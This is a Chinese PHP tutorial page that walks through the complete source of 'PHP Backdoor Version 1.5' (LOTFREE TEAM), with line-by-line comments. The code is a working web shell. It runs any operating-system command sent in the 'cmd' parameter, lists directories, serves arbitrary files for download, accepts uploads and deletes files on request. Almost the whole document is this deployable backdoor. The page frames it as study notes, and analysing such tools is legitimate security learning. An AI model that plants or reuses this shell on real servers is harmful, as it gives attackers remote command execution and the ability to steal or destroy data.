网站地图    收藏   

主页 > 后端 > 网站安全 >

php后门程序解析 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户...

PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。

<!–goodlink函数用来过滤掉url中的一些非法字符–>
<?php
function good_link($link)
{
$link=ereg_replace(“/+”,”/”,$link);
$link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link);
$link=ereg_replace(“/+”,”/”,$link);
if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
if($link==”")$link=”.”;
return $link;
}
 
//$_REQUEST用来取得提交到本文件的数据
$dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.”
$dir=good_link($dir);
$rep=opendir($dir);  //打开dir指定的路径句柄
chdir($dir);        //切换到dir指定的目录
 
if(isset($_REQUEST["down"]) && $_REQUEST["down"]!=”")   //如果定义了down
 
{
header(“Content-Type: application/octet-stream”);
header(“Content-Length: “.filesize($_REQUEST["down"]));
header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
readfile($_REQUEST["down"]); //将文件读取到缓冲区
exit();
}
?>
<html>
<head><title>LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com</title></head>
<body>
<br>
<?php
echo “当前绝对路径为: <b>”.getcwd().”</b><br>\n”; //获取当前的绝对路径
echo “<b>dir = ‘$dir’</b><br>\n”;
echo “当前目录,文件列表!<br><br>\n”;
 
//如果已经输入要执行的命令
if(isset($_REQUEST['cmd']) && $_REQUEST['cmd']!=”")
{
    echo “<pre>\n”;
    system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显
    echo “</pre>\n”;
}
 
//如果已经上传了文件
if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录
{
    if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"])    //判断文件是否符合大小规范
    {
      if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录
      {
        echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!<br>\n”;
      }
      else echo “文件上传失败: “.$_FILES["fic"]["error"].”<br>\n”;
    }
    else echo “File too large(文件超出大小限制)!<br>\n”;
}
 
if(isset($_REQUEST['rm']) && $_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件
{
    if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数
  echo “成功删除 “.$_REQUEST['rm'].”!<br>\n”;
    else echo “删除文件失败<br>\n”;
}
 
?>
<hr>
<table align=”center”width=”95%”border=”0″cellspacing=”0″bgcolor=”lightblue”>
<?php
$t_dir=array();
$t_file=array();
$i_dir=0;
$i_file=0;
 
//循环输读取前的目录文件,放在t_dir和t_file中
while($x=readdir($rep))
{
    if(is_dir($x))           //如果当前处理的是目录
  $t_dir[$i_dir++]=$x;
    else                    //如果当前处理的是文件
  $t_file[$i_file++]=$x; 
}
closedir($rep); //关闭由opendir打开的目录句柄
while(1) //循环输入当前路径的目录和文件
{
 ?>
 
 <!–用表格来展示当前目录的文件–>
 <tr>
 <td width=”20%” bgcolor=”lightgray” valign=”top”>
 <?php
  if($x=each($t_dir))
  {
  $name=$x["value"]; //获取t_dir数组里的目录名称
  if($name==’.'){}
  elseif($name==’..’) echo “    <a href=’”.$_SERVER['PHP_SELF'].”?dir=”.good_link(“$dir/../”).”‘>UP(父目录)</a><br><br>\n”; //展示一个UP链接,读取父目录的文件列表
  else
   echo “    <a href=’”.$_SERVER['PHP_SELF'].”?dir=”.good_link(“$dir/$name”).”‘>”.$name.”</a>\n”;
  }
 ?>
 </td>
 <td width=’78%’
 <?php
 
  //$_SERVER['PHP_SELF']取得www.2cto.com当前php脚本文件名
  if($y=each($t_file))
  {
   if($y["key"]%2==0)  //如果当前处理的是key
    echo ” bgcolor=’lightgreen’>\n”;
   else    //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。
    echo “>\n”;
   echo “    <a href=’”.$_SERVER['PHP_SELF'].”?dir=$dir&down=”.$y["value"].”‘>”.$y["value"].”</a>\n”;
  }
  else echo “>\n”;
 ?>
 </td>
 <td valign=’center’ width=’2%’
 <?php
  if($y)
  {
   //如果是文件,就提供以下删除该文件的链接
   if($y["key"]%2==0)echo ” bgcolor=’lightgreen’”;
    echo “><a href=’”.$_SERVER['PHP_SELF'].”?dir=$dir&rm=”.$y["value"].”‘><b>Del</b></a>”;
  }
  else echo “>\n”;
 ?>
 </td>
 </tr>
 <?php
  if(!$x && !$y)
   break;
}
?>
</table>
<hr>
<br>
<a href=”<?php echo $_SERVER['PHP_SELF']; ?>?dir=”>revenir au repertoire d’origine</a><br><br>
 
<!–form表单,将用户输入的命令post到服务器–>
<form method=”post”action=”<?php echo $_SERVER['PHP_SELF'].”?dir=$dir”; ?>”>   <!–action动作,将请求发送给当前php文件,并且定义dir,刷新当前文件列表–>
Execute commande(执行操作系统命令) <input type=”text”name=”cmd”> <input type=”submit”value=”Run(执行)”>
</form><br>
上传文件到服务器当前目录:<br>
<form enctype=”multipart/form-data”method=”post”action=”<?php echo $_SERVER['PHP_SELF'].”?dir=$dir”; ?>”> <!–action动作,将文件post到服务器,刷新当前文件列表–>
<input type=”file”name=”fic”><input type=”hidden”name=”MAX_FILE_SIZE”value=”100000″>
<input type=”submit”value=”开始上传!”></form><br>
<br>
易踪网yeetrack.com
<center>
PHP Backdoor Version 1.5<br>
by sirius_black / LOTFREE TEAM<br>
Execute commands, browse the filesystem<br>
Upload, download and delete files…<br>
<a href=”http://www.lsdp.net/~lotfree”>http://www.lsdp.net/~lotfree</a><br>
</center>
</body>
</html>

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论